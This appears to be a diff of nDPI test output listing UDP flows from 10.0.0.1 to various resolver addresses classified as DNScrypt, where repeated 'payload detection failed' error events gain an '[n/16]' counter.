[.......10.0.0.1][51770] -> [205.185.116.116][..553] [DNScrypt][Network][Safe] new: [....77] [ip4][..udp] [.......10.0.0.1][38278] -> [205.185.116.116][..553] detected: [....77] [ip4][..udp] [.......10.0.0.1][38278] -> [205.185.116.116][..553] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....78] [ip4][..udp] [.......10.0.0.1][55822] -> [205.185.116.116][..553] detected: [....78] [ip4][..udp] [.......10.0.0.1][55822] -> [205.185.116.116][..553] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....79] [ip4][..udp] [.......10.0.0.1][55834] -> [..52.65.235.129][..443] detected: [....79] [ip4][..udp] [.......10.0.0.1][55834] -> [..52.65.235.129][..443] [DNScrypt][Network][Safe] new: [....80] [ip4][..udp] [.......10.0.0.1][46313] -> [..52.65.235.129][..443] detected: [....80] [ip4][..udp] [.......10.0.0.1][46313] -> [..52.65.235.129][..443] [DNScrypt][Network][Safe] new: [....81] [ip4][..udp] [.......10.0.0.1][52911] -> [..52.65.235.129][..443] detected: [....81] [ip4][..udp] [.......10.0.0.1][52911] -> [..52.65.235.129][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....82] [ip4][..udp] [.......10.0.0.1][47685] -> [..52.65.235.129][..443] detected: [....82] [ip4][..udp] [.......10.0.0.1][47685] -> [..52.65.235.129][..443] [DNScrypt][Network][Safe] new: [....83] [ip4][..udp] [.......10.0.0.1][55979] -> [..52.65.235.129][..443] detected: [....83] [ip4][..udp] [.......10.0.0.1][55979] -> [..52.65.235.129][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....84] [ip4][..udp] [.......10.0.0.1][55409] -> [..52.65.235.129][..443] detected: [....84] [ip4][..udp] [.......10.0.0.1][55409] -> [..52.65.235.129][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....85] [ip4][..udp] [.......10.0.0.1][38812] -> [....51.15.62.65][..443] detected: [....85] [ip4][..udp] [.......10.0.0.1][38812] -> [....51.15.62.65][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....86] [ip4][..udp] [.......10.0.0.1][45993] -> [....51.15.62.65][..443] detected: [....86] [ip4][..udp] [.......10.0.0.1][45993] -> [....51.15.62.65][..443] [DNScrypt][Network][Safe] new: [....87] [ip4][..udp] [.......10.0.0.1][56688] -> [....51.15.62.65][..443] detected: [....87] [ip4][..udp] [.......10.0.0.1][56688] -> [....51.15.62.65][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....88] [ip4][..udp] [.......10.0.0.1][33521] -> [....51.15.62.65][..443] detected: [....88] [ip4][..udp] [.......10.0.0.1][33521] -> [....51.15.62.65][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....89] [ip4][..udp] [.......10.0.0.1][43714] -> [....51.15.62.65][..443] detected: [....89] [ip4][..udp] [.......10.0.0.1][43714] -> [....51.15.62.65][..443] [DNScrypt][Network][Safe] new: [....90] [ip4][..udp] [.......10.0.0.1][60735] -> [....51.15.62.65][..443] @@ -241,97 +212,78 @@ detected: [....91] [ip4][..udp] [.......10.0.0.1][41913] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] new: [....92] [ip4][..udp] [.......10.0.0.1][37890] -> [..45.153.187.96][.4343] detected: [....92] [ip4][..udp] [.......10.0.0.1][37890] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....93] [ip4][..udp] [.......10.0.0.1][45987] -> [..45.153.187.96][.4343] detected: [....93] [ip4][..udp] [.......10.0.0.1][45987] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....94] [ip4][..udp] [.......10.0.0.1][46063] -> [..45.153.187.96][.4343] detected: [....94] [ip4][..udp] [.......10.0.0.1][46063] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] new: [....95] [ip4][..udp] [.......10.0.0.1][43129] -> [..45.153.187.96][.4343] detected: [....95] [ip4][..udp] [.......10.0.0.1][43129] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] new: [....96] [ip4][..udp] [.......10.0.0.1][40451] -> [..45.153.187.96][.4343] detected: [....96] [ip4][..udp] [.......10.0.0.1][40451] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....97] [ip4][..udp] [.......10.0.0.1][55896] -> [...66.85.30.115][..443] detected: [....97] [ip4][..udp] [.......10.0.0.1][55896] -> [...66.85.30.115][..443] [DNScrypt][Network][Safe] new: [....98] [ip4][..udp] [.......10.0.0.1][48448] -> [...66.85.30.115][..443] detected: [....98] [ip4][..udp] [.......10.0.0.1][48448] -> [...66.85.30.115][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....99] [ip4][..udp] [.......10.0.0.1][40099] -> [...66.85.30.115][..443] detected: [....99] [ip4][..udp] [.......10.0.0.1][40099] -> [...66.85.30.115][..443] [DNScrypt][Network][Safe] new: [...100] [ip4][..udp] [.......10.0.0.1][47432] -> [...66.85.30.115][..443] detected: [...100] [ip4][..udp] [.......10.0.0.1][47432] -> [...66.85.30.115][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...101] [ip4][..udp] [.......10.0.0.1][54112] -> [...66.85.30.115][..443] detected: [...101] [ip4][..udp] [.......10.0.0.1][54112] -> [...66.85.30.115][..443] [DNScrypt][Network][Safe] new: [...102] [ip4][..udp] [.......10.0.0.1][35634] -> [...66.85.30.115][..443] detected: [...102] [ip4][..udp] [.......10.0.0.1][35634] -> [...66.85.30.115][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...103] [ip4][..udp] [.......10.0.0.1][46255] -> [..93.95.226.165][..443] detected: [...103] [ip4][..udp] [.......10.0.0.1][46255] -> [..93.95.226.165][..443] [DNScrypt][Network][Safe] new: [...104] [ip4][..udp] [.......10.0.0.1][49186] -> [..93.95.226.165][..443] detected: [...104] [ip4][..udp] [.......10.0.0.1][49186] -> [..93.95.226.165][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...105] [ip4][..udp] [.......10.0.0.1][58113] -> [..93.95.226.165][..443] detected: [...105] [ip4][..udp] [.......10.0.0.1][58113] -> [..93.95.226.165][..443] [DNScrypt][Network][Safe] new: [...106] [ip4][..udp] [.......10.0.0.1][42156] -> [..93.95.226.165][..443] detected: [...106] [ip4][..udp] [.......10.0.0.1][42156] -> [..93.95.226.165][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...107] [ip4][..udp] [.......10.0.0.1][58936] -> [..93.95.226.165][..443] detected: [...107] [ip4][..udp] [.......10.0.0.1][58936] -> [..93.95.226.165][..443] [DNScrypt][Network][Safe] new: [...108] [ip4][..udp] [.......10.0.0.1][40595] -> [..93.95.226.165][..443] detected: [...108] [ip4][..udp] [.......10.0.0.1][40595] -> [..93.95.226.165][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...109] [ip4][..udp] [.......10.0.0.1][37035] -> [..51.158.166.97][..443] detected: [...109] [ip4][..udp] [.......10.0.0.1][37035] -> [..51.158.166.97][..443] [DNScrypt][Network][Safe] new: [...110] [ip4][..udp] [.......10.0.0.1][47257] -> [..51.158.166.97][..443] detected: [...110] [ip4][..udp] [.......10.0.0.1][47257] -> [..51.158.166.97][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...111] [ip4][..udp] [.......10.0.0.1][46066] -> [..51.158.166.97][..443] detected: [...111] [ip4][..udp] [.......10.0.0.1][46066] -> [..51.158.166.97][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...112] [ip4][..udp] [.......10.0.0.1][56494] -> [..51.158.166.97][..443] detected: [...112] [ip4][..udp] [.......10.0.0.1][56494] -> [..51.158.166.97][..443] [DNScrypt][Network][Safe] new: [...113] [ip4][..udp] [.......10.0.0.1][60334] -> [..51.158.166.97][..443] detected: [...113] [ip4][..udp] [.......10.0.0.1][60334] -> [..51.158.166.97][..443] [DNScrypt][Network][Safe] new: [...114] [ip4][..udp] [.......10.0.0.1][48065] -> [..51.158.166.97][..443] detected: [...114] [ip4][..udp] [.......10.0.0.1][48065] -> [..51.158.166.97][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...115] [ip4][..udp] [.......10.0.0.1][41717] -> [.176.56.237.171][..443] detected: [...115] [ip4][..udp] [.......10.0.0.1][41717] -> [.176.56.237.171][..443] [DNScrypt][Network][Safe] new: [...116] [ip4][..udp] [.......10.0.0.1][55046] -> [.176.56.237.171][..443] detected: [...116] [ip4][..udp] [.......10.0.0.1][55046] -> [.176.56.237.171][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...117] [ip4][..udp] [.......10.0.0.1][51363] -> [.176.56.237.171][..443] detected: [...117] [ip4][..udp] [.......10.0.0.1][51363] -> [.176.56.237.171][..443] [DNScrypt][Network][Safe] new: [...118] [ip4][..udp] [.......10.0.0.1][36676] -> [.176.56.237.171][..443] detected: [...118] [ip4][..udp] [.......10.0.0.1][36676] -> [.176.56.237.171][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...119] [ip4][..udp] [.......10.0.0.1][49008] -> [.176.56.237.171][..443] detected: [...119] [ip4][..udp] [.......10.0.0.1][49008] -> [.176.56.237.171][..443] [DNScrypt][Network][Safe] new: [...120] [ip4][..udp] [.......10.0.0.1][48325] -> [.176.56.237.171][..443] detected: [...120] [ip4][..udp] [.......10.0.0.1][48325] -> [.176.56.237.171][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...121] [ip4][..udp] [.......10.0.0.1][60091] -> [178.216.201.222][.2053] detected: [...121] [ip4][..udp] [.......10.0.0.1][60091] -> [178.216.201.222][.2053] [DNScrypt][Network][Safe] new: [...122] [ip4][..udp] [.......10.0.0.1][52356] -> [178.216.201.222][.2053] detected: [...122] [ip4][..udp] [.......10.0.0.1][52356] -> [178.216.201.222][.2053] [DNScrypt][Network][Safe] new: [...123] [ip4][..udp] [.......10.0.0.1][53117] -> [178.216.201.222][.2053] detected: [...123] [ip4][..udp] [.......10.0.0.1][53117] -> [178.216.201.222][.2053] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...124] [ip4][..udp] [.......10.0.0.1][52221] -> [178.216.201.222][.2053] detected: [...124] [ip4][..udp] [.......10.0.0.1][52221] -> [178.216.201.222][.2053] [DNScrypt][Network][Safe] new: [...125] [ip4][..udp] [.......10.0.0.1][38594] -> [178.216.201.222][.2053] detected: [...125] [ip4][..udp] [.......10.0.0.1][38594] -> [178.216.201.222][.2053] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...126] [ip4][..udp] [.......10.0.0.1][58740] -> [178.216.201.222][.2053] detected: [...126] [ip4][..udp] [.......10.0.0.1][58740] -> [178.216.201.222][.2053] [DNScrypt][Network][Safe] new: [...127] [ip4][..udp] [.......10.0.0.1][43224] -> [...45.76.113.31][..443] detected: [...127] [ip4][..udp] [.......10.0.0.1][43224] -> [...45.76.113.31][..443] [DNScrypt][Network][Safe] new: [...128] [ip4][..udp] [.......10.0.0.1][55267] -> [...45.76.113.31][..443] detected: [...128] [ip4][..udp] [.......10.0.0.1][55267] -> [...45.76.113.31][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...129] [ip4][..udp] [.......10.0.0.1][51589] -> [...45.76.113.31][..443] detected: [...129] [ip4][..udp] [.......10.0.0.1][51589] -> [...45.76.113.31][..443] [DNScrypt][Network][Safe] new: [...130] [ip4][..udp] [.......10.0.0.1][43776] -> [...45.76.113.31][..443] @@ -340,21 +292,16 @@ detected: [...131] [ip4][..udp] [.......10.0.0.1][59707] -> [...45.76.113.31][..443] [DNScrypt][Network][Safe] new: [...132] [ip4][..udp] [.......10.0.0.1][52069] -> [...45.76.113.31][..443] detected: [...132] [ip4][..udp] [.......10.0.0.1][52069] -> [...45.76.113.31][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...133] [ip4][..udp] [.......10.0.0.1][53876] -> [..151.80.222.79][..443] detected: [...133] [ip4][..udp] [.......10.0.0.1][53876] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] new: [...134] [ip4][..udp] [.......10.0.0.1][45497] -> [..151.80.222.79][..443] detected: [...134] [ip4][..udp] [.......10.0.0.1][45497] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] new: [...135] [ip4][..udp] [.......10.0.0.1][47729] -> [..151.80.222.79][..443] detected: [...135] [ip4][..udp] [.......10.0.0.1][47729] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...136] [ip4][..udp] [.......10.0.0.1][52040] -> [..151.80.222.79][..443] detected: [...136] [ip4][..udp] [.......10.0.0.1][52040] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] new: [...137] [ip4][..udp] [.......10.0.0.1][57636] -> [..151.80.222.79][..443] detected: [...137] [ip4][..udp] [.......10.0.0.1][57636] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...138] [ip4][..udp] [.......10.0.0.1][38511] -> [..151.80.222.79][..443] detected: [...138] [ip4][..udp] [.......10.0.0.1][38511] -> [..151.80.222.79][..443] [DNScrypt][Network][Safe] new: [...139] [ip4][..udp] [.......10.0.0.1][59011] -> [...142.4.205.47][..443] @@ -363,13 +310,10 @@ detected: [...140] [ip4][..udp] [.......10.0.0.1][50387] -> [...142.4.205.47][..443] [DNScrypt][Network][Safe] new: [...141] [ip4][..udp] [.......10.0.0.1][40138] -> [...142.4.205.47][..443] detected: [...141] [ip4][..udp] [.......10.0.0.1][40138] -> [...142.4.205.47][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...142] [ip4][..udp] [.......10.0.0.1][51935] -> [...142.4.205.47][..443] detected: [...142] [ip4][..udp] [.......10.0.0.1][51935] -> [...142.4.205.47][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...143] [ip4][..udp] [.......10.0.0.1][54096] -> [...142.4.205.47][..443] detected: [...143] [ip4][..udp] [.......10.0.0.1][54096] -> [...142.4.205.47][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...144] [ip4][..udp] [.......10.0.0.1][35903] -> [...142.4.205.47][..443] detected: [...144] [ip4][..udp] [.......10.0.0.1][35903] -> [...142.4.205.47][..443] [DNScrypt][Network][Safe] new: [...145] [ip4][..udp] [.......10.0.0.1][37328] -> [193.191.187.107][..443] @@ -378,43 +322,40 @@ detected: [...146] [ip4][..udp] [.......10.0.0.1][35885] -> [193.191.187.107][..443] [DNScrypt][Network][Safe] new: [...147] [ip4][..udp] [.......10.0.0.1][33279] -> [193.191.187.107][..443] detected: [...147] [ip4][..udp] [.......10.0.0.1][33279] -> [193.191.187.107][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...148] [ip4][..udp] [.......10.0.0.1][54215] -> [193.191.187.107][..443] detected: [...148] [ip4][..udp] [.......10.0.0.1][54215] -> [193.191.187.107][..443] [DNScrypt][Network][Safe] new: [...149] [ip4][..udp] [.......10.0.0.1][49040] -> [193.191.187.107][..443] detected: [...149] [ip4][..udp] [.......10.0.0.1][49040] -> [193.191.187.107][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [...150] [ip4][..udp] [.......10.0.0.1][49115] -> [193.191.187.107][..443] detected: [...150] [ip4][..udp] [.......10.0.0.1][49115] -> [193.191.187.107][..443] [DNScrypt][Network][Safe] new: [...151] [ip4][..udp] [.......10.0.0.1][45375] -> [..51.15.124.208][.4343] detected: [...151] [ip4][..udp] [.......10.0.0.1][45375] -> [..51.15.124.208][.4343] [DNScrypt][Network][Safe] new: [...152] [ip4][..udp] [.......10.0.0.1][49975] -> [..51.15.124.208][.4343] detected: [...152] [ip4][..udp] [.......10.0.0.1][49975] -> [..51.15.124.208][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...153] [ip4][..udp] [.......10.0.0.1][38310] -> [..51.15.124.208][.4343] detected: [...153] [ip4][..udp] [.......10.0.0.1][38310] -> [..51.15.124.208][.4343] [DNScrypt][Network][Safe] new: [...154] [ip4][..udp] [.......10.0.0.1][55768] -> [..51.15.124.208][.4343] detected: [...154] [ip4][..udp] [.......10.0.0.1][55768] -> [..51.15.124.208][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...155] [ip4][..udp] [.......10.0.0.1][39910] -> [..51.15.124.208][.4343] detected: [...155] [ip4][..udp] [.......10.0.0.1][39910] -> [..51.15.124.208][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [...156] [ip4][..udp] [.......10.0.0.1][53887] -> [..51.15.124.208][.4343] detected: [...156] [ip4][..udp] [.......10.0.0.1][53887] -> [..51.15.124.208][.4343] [DNScrypt][Network][Safe] new: [...157] [ip4][..udp] [.......10.0.0.1][36930] -> [167.114.220.125][..443] detected: [...157] [ip4][..udp] [.......10.0.0.1][36930] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] new: [...158] [ip4][..udp] [.......10.0.0.1][38508] -> [167.114.220.125][..443] detected: [...158] [ip4][..udp] [.......10.0.0.1][38508] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [...159] [ip4][..udp] [.......10.0.0.1][39816] -> [167.114.220.125][..443] detected: [...159] [ip4][..udp] [.......10.0.0.1][39816] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] new: [...160] [ip4][..udp] [.......10.0.0.1][45613] -> [167.114.220.125][..443] detected: [...160] [ip4][..udp] [.......10.0.0.1][45613] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] new: [...161] [ip4][..udp] [.......10.0.0.1][59589] -> [167.114.220.125][..443] detected: [...161] [ip4][..udp] [.......10.0.0.1][59589] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] new: [...162] [ip4][..udp] [.......10.0.0.1][45747] -> [167.114.220.125][..443] detected: [...162] [ip4][..udp] [.......10.0.0.1][45747] -> [167.114.220.125][..443] [DNScrypt][Network][Safe] new: [...163] [ip4][..udp] [.......10.0.0.1][35734] -> [..5.189.170.196][..465] @@ -423,45 +364,45 @@ detected: [...164] [ip4][..udp] [.......10.0.0.1][44496] -> [..5.189.170.196][..465] [DNScrypt][Network][Safe] new: [...165] [ip4][..udp] [.......10.0.0.1][58104] -> [..5.189.170.196][..465] detected: [...165] [ip4][..udp] [.......10.0.0.1][58104] -> [..5.189.170.196][..465] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] new: [...166] [ip4][..udp] [.......10.0.0.1][40748] -> [..5.189.170.196][..465] detected: [...166] [ip4][..udp] [.......10.0.0.1][40748] -> [..5.189.170.196][..465] [DNScrypt][Network][Safe] new: [...167] [ip4][..udp] [.......10.0.0.1][58650] -> [..5.189.170.196][..465] detected: [...167] [ip4][..udp] [.......10.0.0.1][58650] -> [..5.189.170.196][..465] [DNScrypt][Network][Safe] new: [...168] [ip4][..udp] [.......10.0.0.1][59749] -> [..5.189.170.196][..465] detected: [...168] [ip4][..udp] [.......10.0.0.1][59749] -> [..5.189.170.196][..465] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [8/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [9/16] new: [...169] [ip4][..udp] [.......10.0.0.1][38709] -> [.185.253.154.66][.4343] detected: [...169] [ip4][..udp] [.......10.0.0.1][38709] -> [.185.253.154.66][.4343] [DNScrypt][Network][Safe] new: [...170] [ip4][..udp] [.......10.0.0.1][44469] -> [.185.253.154.66][.4343] detected: [...170] [ip4][..udp] [.......10.0.0.1][44469] -> [.185.253.154.66][.4343] [DNScrypt][Network][Safe] new: [...171] [ip4][..udp] [.......10.0.0.1][45815] -> [.185.253.154.66][.4343] detected: [...171] [ip4][..udp] [.......10.0.0.1][45815] -> [.185.253.154.66][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...172] [ip4][..udp] [.......10.0.0.1][43540] -> [.185.253.154.66][.4343] detected: [...172] [ip4][..udp] [.......10.0.0.1][43540] -> [.185.253.154.66][.4343] [DNScrypt][Network][Safe] new: [...173] [ip4][..udp] [.......10.0.0.1][48159] -> [.185.253.154.66][.4343] detected: [...173] [ip4][..udp] [.......10.0.0.1][48159] -> [.185.253.154.66][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...174] [ip4][..udp] [.......10.0.0.1][38482] -> [.185.253.154.66][.4343] detected: [...174] [ip4][..udp] [.......10.0.0.1][38482] -> [.185.253.154.66][.4343] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [...175] [ip4][..udp] [.......10.0.0.1][51647] -> [..142.4.204.111][..443] detected: [...175] [ip4][..udp] [.......10.0.0.1][51647] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [...176] [ip4][..udp] [.......10.0.0.1][59224] -> [..142.4.204.111][..443] detected: [...176] [ip4][..udp] [.......10.0.0.1][59224] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [...177] [ip4][..udp] [.......10.0.0.1][41895] -> [..142.4.204.111][..443] detected: [...177] [ip4][..udp] [.......10.0.0.1][41895] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [...178] [ip4][..udp] [.......10.0.0.1][46363] -> [..142.4.204.111][..443] detected: [...178] [ip4][..udp] [.......10.0.0.1][46363] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [...179] [ip4][..udp] [.......10.0.0.1][57180] -> [..142.4.204.111][..443] detected: [...179] [ip4][..udp] [.......10.0.0.1][57180] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] new: [...180] [ip4][..udp] [.......10.0.0.1][47621] -> [..142.4.204.111][..443] detected: [...180] [ip4][..udp] [.......10.0.0.1][47621] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] update: [....10] [ip4][..udp] [.......10.0.0.1][43748] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] update: [.....8] [ip4][..udp] [.......10.0.0.1][52636] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] update: [.....7] [ip4][..udp] [.......10.0.0.1][51004] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] @@ -474,15 +415,15 @@ detected: [...182] [ip4][..udp] [.......10.0.0.1][34228] -> [.212.47.228.136][..443] [DNScrypt][Network][Safe] new: [...183] [ip4][..udp] [.......10.0.0.1][52056] -> [.212.47.228.136][..443] detected: [...183] [ip4][..udp] [.......10.0.0.1][52056] -> [.212.47.228.136][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...184] [ip4][..udp] [.......10.0.0.1][40775] -> [.212.47.228.136][..443] detected: [...184] [ip4][..udp] [.......10.0.0.1][40775] -> [.212.47.228.136][..443] [DNScrypt][Network][Safe] new: [...185] [ip4][..udp] [.......10.0.0.1][56335] -> [.212.47.228.136][..443] detected: [...185] [ip4][..udp] [.......10.0.0.1][56335] -> [.212.47.228.136][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...186] [ip4][..udp] [.......10.0.0.1][60885] -> [.212.47.228.136][..443] detected: [...186] [ip4][..udp] [.......10.0.0.1][60885] -> [.212.47.228.136][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [...187] [ip4][..udp] [.......10.0.0.1][58948] -> [....85.5.93.230][.8443] detected: [...187] [ip4][..udp] [.......10.0.0.1][58948] -> [....85.5.93.230][.8443] [DNScrypt][Network][Safe] new: [...188] [ip4][..udp] [.......10.0.0.1][50403] -> [....85.5.93.230][.8443] @@ -491,13 +432,13 @@ detected: [...189] [ip4][..udp] [.......10.0.0.1][46646] -> [....85.5.93.230][.8443] [DNScrypt][Network][Safe] new: [...190] [ip4][..udp] [.......10.0.0.1][57090] -> [....85.5.93.230][.8443] detected: [...190] [ip4][..udp] [.......10.0.0.1][57090] -> [....85.5.93.230][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [...191] [ip4][..udp] [.......10.0.0.1][51826] -> [....85.5.93.230][.8443] detected: [...191] [ip4][..udp] [.......10.0.0.1][51826] -> [....85.5.93.230][.8443] [DNScrypt][Network][Safe] new: [...192] [ip4][..udp] [.......10.0.0.1][39259] -> [....85.5.93.230][.8443] detected: [...192] [ip4][..udp] [.......10.0.0.1][39259] -> [....85.5.93.230][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] update: [....51] [ip4][..udp] [.......10.0.0.1][34885] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] update: [....47] [ip4][..udp] [.......10.0.0.1][37595] -> [.139.59.200.116][..443] [DNScrypt][Network][Safe] update: [....96] [ip4][..udp] [.......10.0.0.1][40451] -> [..45.153.187.96][.4343] [DNScrypt][Network][Safe] @@ -648,50 +589,50 @@ detected: [...194] [ip4][..udp] [.......10.0.0.1][40374] -> [..139.99.222.72][.8443] [DNScrypt][Network][Safe] new: [...195] [ip4][..udp] [.......10.0.0.1][51509] -> [..139.99.222.72][.8443] detected: [...195] [ip4][..udp] [.......10.0.0.1][51509] -> [..139.99.222.72][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [...196] [ip4][..udp] [.......10.0.0.1][45682] -> [..139.99.222.72][.8443] detected: [...196] [ip4][..udp] [.......10.0.0.1][45682] -> [..139.99.222.72][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [...197] [ip4][..udp] [.......10.0.0.1][59400] -> [..139.99.222.72][.8443] detected: [...197] [ip4][..udp] [.......10.0.0.1][59400] -> [..139.99.222.72][.8443] [DNScrypt][Network][Safe] new: [...198] [ip4][..udp] [.......10.0.0.1][49796] -> [..139.99.222.72][.8443] detected: [...198] [ip4][..udp] [.......10.0.0.1][49796] -> [..139.99.222.72][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [...199] [ip4][..udp] 